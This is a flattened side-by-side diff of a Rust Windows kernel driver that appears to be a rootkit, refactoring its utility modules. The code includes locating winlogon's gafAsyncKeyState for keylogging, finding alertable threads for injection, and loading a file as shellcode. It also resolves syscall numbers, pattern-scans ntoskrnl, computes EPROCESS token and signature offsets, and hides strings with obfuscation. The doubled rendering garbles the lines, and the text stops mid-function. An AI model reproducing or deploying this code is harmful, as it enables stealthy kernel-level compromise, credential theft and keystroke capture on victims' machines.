mem::{size_of, zeroed}, mem::{size_of, zeroed},
ptr::{null_mut, read, read_unaligned}, ptr::{null_mut, read_unaligned},
slice::from_raw_parts slice::from_raw_parts
}, },
ntapi::{ ntapi::{
@@ -18,14 +19,8 @@ use {
ntpebteb::PEB, ntpebteb::PEB,
ntzwapi::ZwQuerySystemInformation ntzwapi::ZwQuerySystemInformation
}, },
obfstr::obfstr,
wdk_sys::{ wdk_sys::{
ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap, ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, *
_POOL_TYPE::NonPagedPool, *
},
winapi::um::winnt::{
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
}, },
}; };
@@ -43,6 +38,10 @@ pub mod macros;
pub mod offsets; pub mod offsets;
pub mod uni; pub mod uni;
pub mod ioctls; pub mod ioctls;
pub mod patterns;
pub mod address;
pub mod handles;
pub mod pool;
/// Retrieves the input buffer from the given IO stack location. /// Retrieves the input buffer from the given IO stack location.
/// ///
@@ -80,131 +79,6 @@ pub unsafe fn get_output_buffer<T>(irp: *mut IRP) -> Result<*mut T, NTSTATUS> {
} }
} }
/// Gets the base address of a specified module.
///
/// # Parameters
/// - `module_name`: A string slice containing the name of the module.
///
/// # Returns
/// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found.
///
pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> {
let mut return_bytes = 0;
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
let info_module = ExAllocatePool(NonPagedPool, return_bytes as u64) as *mut SystemModuleInformation;
if info_module.is_null() {
log::error!("ExAllocatePool Failed");
return None;
}
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
let status = ZwQuerySystemInformation(
SystemModuleInformation,
info_module as *mut winapi::ctypes::c_void,
return_bytes,
&mut return_bytes
);
if !NT_SUCCESS(status) {
log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}");
ExFreePool(info_module as _);
return None;
}
let module_count = (*info_module).modules_count;
for i in 0..module_count as usize {
let name = (*info_module).modules[i].image_name;
let module_base = (*info_module).modules[i].image_base as *mut c_void;
if let Ok(name_str) = core::str::from_utf8(&name) {
if name_str.contains(module_name) {
return Some(module_base);
}
}
}
ExFreePool(info_module as _);
None
}
/// Gets the address of a specified function within a module.
///
/// # Parameters
/// - `function_name`: A string slice containing the name of the function.
/// - `dll_base`: A pointer to the base address of the DLL.
///
/// # Returns
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
///
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
for i in 0..(*export_directory).NumberOfNames as isize {
let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?;
let ordinal = ordinals[i as usize] as usize;
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
if name == function_name {
return Some(address);
}
}
None
}
/// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process.
///
/// # Parameters
/// - `name`: A string slice containing the name `gafAsyncKeyState`.
/// - `dll_base`: A pointer to the base address of the DLL.
///
/// # Returns
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
///
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
let mut apc_state: KAPC_STATE = core::mem::zeroed();
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
Some(p) => p,
None => return None
};
let target = match Process::new(pid) {
Some(p) => p,
None => return None
};
KeStackAttachProcess(target.e_process, &mut apc_state);
let dll_base = dll_base as usize;
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
for i in 0..(*export_directory).NumberOfNames as isize {
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
let ordinal = ordinals[i as usize] as usize;
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
if name_module == name {
KeUnstackDetachProcess(&mut apc_state);
return Some(address);
}
}
KeUnstackDetachProcess(&mut apc_state);
None
}
/// Retrieves the PID of a process by its name. /// Retrieves the PID of a process by its name.
/// ///
/// # Parameters /// # Parameters
@@ -216,11 +90,12 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<
pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> { pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
let mut return_bytes = 0; let mut return_bytes = 0;
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
let info_process = ExAllocatePool(NonPagedPool, return_bytes as u64) as PSYSTEM_PROCESS_INFORMATION; let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"diws"))
if info_process.is_null() { .map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
log::error!("ExAllocatePool Failed"); .or_else(|| {
return None; log::error!("PoolMemory (Process By Name) Failed");
} None
})?;
let status = ZwQuerySystemInformation( let status = ZwQuerySystemInformation(
SystemProcessInformation, SystemProcessInformation,
@@ -241,7 +116,6 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
let name = String::from_utf16_lossy(image_name); let name = String::from_utf16_lossy(image_name);
if name == process_name { if name == process_name {
let pid = (*process_info).UniqueProcessId as usize; let pid = (*process_info).UniqueProcessId as usize;
ExFreePool(info_process as *mut _);
return Some(pid); return Some(pid);
} }
} }
@@ -253,88 +127,9 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION; process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
} }
ExFreePool(info_process as _);
None None
} }
/// Retrieves the syscall index for a given function name.
///
/// # Parameters
/// - `function_name`: The name of the function to retrieve the syscall index for.
///
/// # Returns
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
///
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
let mut section_handle = null_mut();
let dll = crate::utils::uni::str_to_unicode("\\KnownDlls\\ntdll.dll");
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
if !NT_SUCCESS(status) {
log::error!("ZwOpenSection Failed With Status: {status}");
return None
}
let mut large: LARGE_INTEGER = zeroed();
let mut ntdll_addr = null_mut();
let mut view_size = 0;
status = ZwMapViewOfSection(
section_handle,
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
&mut ntdll_addr,
0,
0,
&mut large,
&mut view_size,
ViewUnmap,
0,
PAGE_READONLY,
);
if !NT_SUCCESS(status) {
log::error!("ZwMapViewOfSection Failed With Status: {status}");
ZwClose(section_handle);
return None
}
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let ntdll_addr = ntdll_addr as usize;
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
for i in 0..(*export_directory).NumberOfNames as isize {
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
let ordinal = ordinals[i as usize] as usize;
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
if name == function_name {
if read(address) == 0x4C
&& read(address.add(1)) == 0x8B
&& read(address.add(2)) == 0xD1
&& read(address.add(3)) == 0xB8
&& read(address.add(6)) == 0x00
&& read(address.add(7)) == 0x00
{
let high = read(address.add(5)) as u16;
let low = read(address.add(4)) as u16;
let ssn = (high << 8) | low;
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return Some(ssn);
}
}
}
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return None
}
/// Retrieves the address of a specified function within a module in the context of a target process. /// Retrieves the address of a specified function within a module in the context of a target process.
/// ///
/// # Parameters /// # Parameters
@@ -347,10 +142,7 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
/// ///
pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> { pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> {
let mut apc_state: KAPC_STATE = core::mem::zeroed(); let mut apc_state: KAPC_STATE = core::mem::zeroed();
let target = match Process::new(pid) { let target = Process::new(pid)?;
Some(p) => p,
None => return None,
};
KeStackAttachProcess(target.e_process, &mut apc_state); KeStackAttachProcess(target.e_process, &mut apc_state);
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
@@ -416,98 +208,6 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
None None
} }
/// Scans memory for a specific pattern of bytes in a specific section.
/// # Parameters
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
///
/// # Returns
/// - `Option<*const u8>`: The address of the target function if found.
///
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
if name == section_name {
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
if let Some(offset) = data.windows(pattern.len()).position(|window| {
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Some((section_start + offset) as *const u8);
}
}
}
None
}
/// Finds the address of a specified Zw function.
///
/// # Parameters
/// - `name`: The name of the Zw function to find.
///
/// # Returns
/// - `Option<usize>`: The address of the Zw function if found, or `None` if an error occurs or the function is not found.
///
pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
let ssn = match get_syscall_index(name) {
Some(ssn) => ssn,
None => return None,
};
let ntoskrnl_addr = match get_module_base_address(obfstr!("ntoskrnl.exe")) {
Some(addr) => addr,
None => return None,
};
let ssn_bytes = ssn.to_le_bytes();
let pattern: [u8; 30] = [
0x48, 0x8B, 0xC4, // mov rax, rsp
0xFA, // cli
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
0x50, // push rax
0x9C, // pushfq
0x6A, 0x10, // push 10h
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
0x50, // push rax
0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, <SSN>
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
];
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
if name == obfstr!(".text") {
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
if let Some(offset) = data.windows(pattern.len())
.position(|window| {
window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Some(text_start + offset);
}
}
}
return None
}
/// Find for a thread with an alertable status. /// Find for a thread with an alertable status.
/// ///
/// # Parameters /// # Parameters
@@ -519,9 +219,9 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> { pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> {
let mut return_bytes = 0; let mut return_bytes = 0;
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
let info_process = ExAllocatePool2(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied")) as PSYSTEM_PROCESS_INFORMATION; let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied"))?.ptr as PSYSTEM_PROCESS_INFORMATION;
if info_process.is_null() { if info_process.is_null() {
log::error!("ExAllocatePool2 Failed"); log::error!("PoolMemory Failed");
return None; return None;
} }
@@ -543,10 +243,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,); let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,);
for &thread in threads_slice { for &thread in threads_slice {
let thread_id = thread.ClientId.UniqueThread as usize; let thread_id = thread.ClientId.UniqueThread as usize;
let target_thread = match crate::thread::Thread::new(thread_id) { let target_thread = if let Some(thread) = crate::thread::Thread::new(thread_id) { thread } else { continue };
Some(e_thread) => e_thread,
None => continue,
};
if PsIsThreadTerminating(target_thread.e_thread) == 1 { if PsIsThreadTerminating(target_thread.e_thread) == 1 {
continue; continue;
@@ -573,8 +270,6 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION; process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
} }
ExFreePool(info_process as *mut _);
None None
} }
@@ -617,9 +312,7 @@ pub fn InitializeObjectAttributes(
/// - `Result<Vec<u8>, NTSTATUS>`: The content of the file as a vector of bytes if successful, or an NTSTATUS error code if an error occurs. /// - `Result<Vec<u8>, NTSTATUS>`: The content of the file as a vector of bytes if successful, or an NTSTATUS error code if an error occurs.
/// ///
pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> { pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
let mut path_nt = String::new(); let path_nt = alloc::format!("\\??\\{}", path);
write!(&mut path_nt, "\\??\\{}", path).unwrap();
let file_name = crate::utils::uni::str_to_unicode(&path_nt); let file_name = crate::utils::uni::str_to_unicode(&path_nt);
let mut io_status_block: _IO_STATUS_BLOCK = unsafe { zeroed() }; let mut io_status_block: _IO_STATUS_BLOCK = unsafe { zeroed() };
let mut obj_attr = InitializeObjectAttributes( let mut obj_attr = InitializeObjectAttributes(
@@ -651,10 +344,12 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
return Err(status); return Err(status);
} }
let h_file = Handle::new(h_file);
let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() }; let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() };
status = unsafe { status = unsafe {
ZwQueryInformationFile( ZwQueryInformationFile(
h_file, h_file.get(),
&mut io_status_block, &mut io_status_block,
&mut file_info as *mut _ as *mut c_void, &mut file_info as *mut _ as *mut c_void,
size_of::<FILE_STANDARD_INFORMATION>() as u32, size_of::<FILE_STANDARD_INFORMATION>() as u32,
@@ -663,17 +358,16 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
}; };
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwQueryInformationFile Failed With Status: {status}"); log::error!("ZwQueryInformationFile Failed With Status: {status}");
unsafe { ZwClose(h_file) };
return Err(status); return Err(status);
} }
let file_size = unsafe { file_info.EndOfFile.QuadPart as usize }; let file_size = unsafe { file_info.EndOfFile.QuadPart as usize };
let mut byte_offset: LARGE_INTEGER = unsafe { zeroed() }; let mut byte_offset: LARGE_INTEGER = unsafe { zeroed() };
byte_offset.QuadPart = 0; byte_offset.QuadPart = 0;
let mut shellcode = vec![0u8; file_size]; let mut shellcode = alloc::vec![0u8; file_size];
status = unsafe { status = unsafe {
ZwReadFile( ZwReadFile(
h_file, h_file.get(),
null_mut(), null_mut(),
None, None,
null_mut(), null_mut(),
@@ -686,12 +380,9 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
}; };
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwReadFile Failed With Status: {status}"); log::error!("ZwReadFile Failed With Status: {status}");
unsafe { ZwClose(h_file) };
return Err(status); return Err(status);
} }
unsafe { ZwClose(h_file) };
return Ok(shellcode) return Ok(shellcode)
} }

View File

@@ -1,5 +1,5 @@
use crate::utils::uni;
use wdk_sys::ntddk::MmGetSystemRoutineAddress; use wdk_sys::ntddk::MmGetSystemRoutineAddress;
use crate::utils;
/// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure. /// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure.
/// ///
@@ -7,7 +7,7 @@ use crate::utils;
/// - `isize`: Returns the offset of the dynamically retrieved structure. /// - `isize`: Returns the offset of the dynamically retrieved structure.
/// ///
pub unsafe fn get_offset_signature() -> isize { pub unsafe fn get_offset_signature() -> isize {
let mut function_name = utils::uni::str_to_unicode("PsGetProcessSignatureLevel").to_unicode(); let mut function_name = uni::str_to_unicode("PsGetProcessSignatureLevel").to_unicode();
let address = MmGetSystemRoutineAddress(&mut function_name); let address = MmGetSystemRoutineAddress(&mut function_name);
let bytes = core::slice::from_raw_parts(address as *const u8, 20); let bytes = core::slice::from_raw_parts(address as *const u8, 20);
let offset = bytes[15..17] let offset = bytes[15..17]
@@ -26,7 +26,7 @@ pub unsafe fn get_offset_signature() -> isize {
/// - `isize`: Returns the offset of the dynamically retrieved structure. /// - `isize`: Returns the offset of the dynamically retrieved structure.
/// ///
pub unsafe fn get_offset_unique_process_id() -> isize { pub unsafe fn get_offset_unique_process_id() -> isize {
let mut function_name = utils::uni::str_to_unicode("PsGetProcessId").to_unicode(); let mut function_name = uni::str_to_unicode("PsGetProcessId").to_unicode();
let address = MmGetSystemRoutineAddress(&mut function_name); let address = MmGetSystemRoutineAddress(&mut function_name);
let bytes = core::slice::from_raw_parts(address as *const u8, 5); let bytes = core::slice::from_raw_parts(address as *const u8, 5);
let offset = bytes[3..5] let offset = bytes[3..5]
@@ -45,7 +45,7 @@ pub unsafe fn get_offset_unique_process_id() -> isize {
/// - `isize`: Returns the offset of the dynamically retrieved structure. /// - `isize`: Returns the offset of the dynamically retrieved structure.
/// ///
pub unsafe fn get_offset_token() -> isize { pub unsafe fn get_offset_token() -> isize {
let mut function_name = utils::uni::str_to_unicode("PsReferencePrimaryToken").to_unicode(); let mut function_name = uni::str_to_unicode("PsReferencePrimaryToken").to_unicode();
let address = MmGetSystemRoutineAddress(&mut function_name); let address = MmGetSystemRoutineAddress(&mut function_name);
let bytes = core::slice::from_raw_parts(address as *const u8, 27); let bytes = core::slice::from_raw_parts(address as *const u8, 27);
let offset = bytes[21..23] let offset = bytes[21..23]
@@ -64,10 +64,10 @@ pub unsafe fn get_offset_token() -> isize {
/// - `isize`: Returns the offset of the dynamically retrieved structure. /// - `isize`: Returns the offset of the dynamically retrieved structure.
/// ///
pub unsafe fn get_rundown_protect() -> isize { pub unsafe fn get_rundown_protect() -> isize {
let mut function_name = utils::uni::str_to_unicode("PsGetThreadExitStatus").to_unicode(); let mut function_name = uni::str_to_unicode("PsGetThreadExitStatus").to_unicode();
let address = MmGetSystemRoutineAddress(&mut function_name); let address = MmGetSystemRoutineAddress(&mut function_name);
let bytes = core::slice::from_raw_parts(address as *const u8, 17); let bytes = core::slice::from_raw_parts(address as *const u8, 17);
let offset = bytes[13..] let offset = bytes[13..15]
.try_into() .try_into()
.map(u16::from_le_bytes) .map(u16::from_le_bytes)
.expect("Slice length is not 2, cannot convert"); .expect("Slice length is not 2, cannot convert");

View File

@@ -0,0 +1,177 @@
use {
obfstr::obfstr,
super::{address::get_module_base_address, InitializeObjectAttributes},
core::{
ffi::{c_void, CStr}, mem::{size_of, zeroed},
ptr::{null_mut, read}, slice::from_raw_parts
},
winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER},
wdk_sys::{
NT_SUCCESS,
ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection},
LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, SECTION_MAP_READ,
SECTION_QUERY, _SECTION_INHERIT::ViewUnmap
},
};
/// Scans memory for a specific pattern of bytes in a specific section.
/// # Parameters
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
///
/// # Returns
/// - `Option<*const u8>`: The address of the target function if found.
///
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
if name == section_name {
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
if let Some(offset) = data.windows(pattern.len()).position(|window| {
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Some((section_start + offset) as *const u8);
}
}
}
None
}
/// Finds the address of a specified Zw function.
///
/// # Parameters
/// - `name`: The name of the Zw function to find.
///
/// # Returns
/// - `Option<usize>`: The address of the Zw function if found, or `None` if an error occurs or the function is not found.
///
pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
let ssn = get_syscall_index(name)?;
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
let ssn_bytes = ssn.to_le_bytes();
let pattern: [u8; 30] = [
0x48, 0x8B, 0xC4, // mov rax, rsp
0xFA, // cli
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
0x50, // push rax
0x9C, // pushfq
0x6A, 0x10, // push 10h
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
0x50, // push rax
0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, <SSN>
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
];
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
if name == obfstr!(".text") {
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
if let Some(offset) = data.windows(pattern.len())
.position(|window| {
window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Some(text_start + offset);
}
}
}
return None
}
/// Retrieves the syscall index for a given function name.
///
/// # Parameters
/// - `function_name`: The name of the function to retrieve the syscall index for.
///
/// # Returns
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
///
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
let mut section_handle = null_mut();
let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
if !NT_SUCCESS(status) {
log::error!("ZwOpenSection Failed With Status: {status}");
return None
}
let mut large: LARGE_INTEGER = zeroed();
let mut ntdll_addr = null_mut();
let mut view_size = 0;
status = ZwMapViewOfSection(
section_handle,
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
&mut ntdll_addr,
0,
0,
&mut large,
&mut view_size,
ViewUnmap,
0,
PAGE_READONLY,
);
if !NT_SUCCESS(status) {
log::error!("ZwMapViewOfSection Failed With Status: {status}");
ZwClose(section_handle);
return None
}
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let ntdll_addr = ntdll_addr as usize;
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
for i in 0..(*export_directory).NumberOfNames as isize {
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
let ordinal = ordinals[i as usize] as usize;
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
if name == function_name {
if read(address) == 0x4C
&& read(address.add(1)) == 0x8B
&& read(address.add(2)) == 0xD1
&& read(address.add(3)) == 0xB8
&& read(address.add(6)) == 0x00
&& read(address.add(7)) == 0x00
{
let high = read(address.add(5)) as u16;
let low = read(address.add(4)) as u16;
let ssn = (high << 8) | low;
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return Some(ssn);
}
}
}
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return None
}

28
driver/src/utils/pool.rs Normal file
View File

@@ -0,0 +1,28 @@
use core::ffi::c_void;
use wdk_sys::{ntddk::{ExAllocatePool2, ExFreePool}, POOL_FLAGS};
pub struct PoolMemory {
pub ptr: *mut c_void,
}
impl PoolMemory {
#[inline]
pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: u32) -> Option<PoolMemory> {
let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) };
if ptr.is_null() {
None
} else {
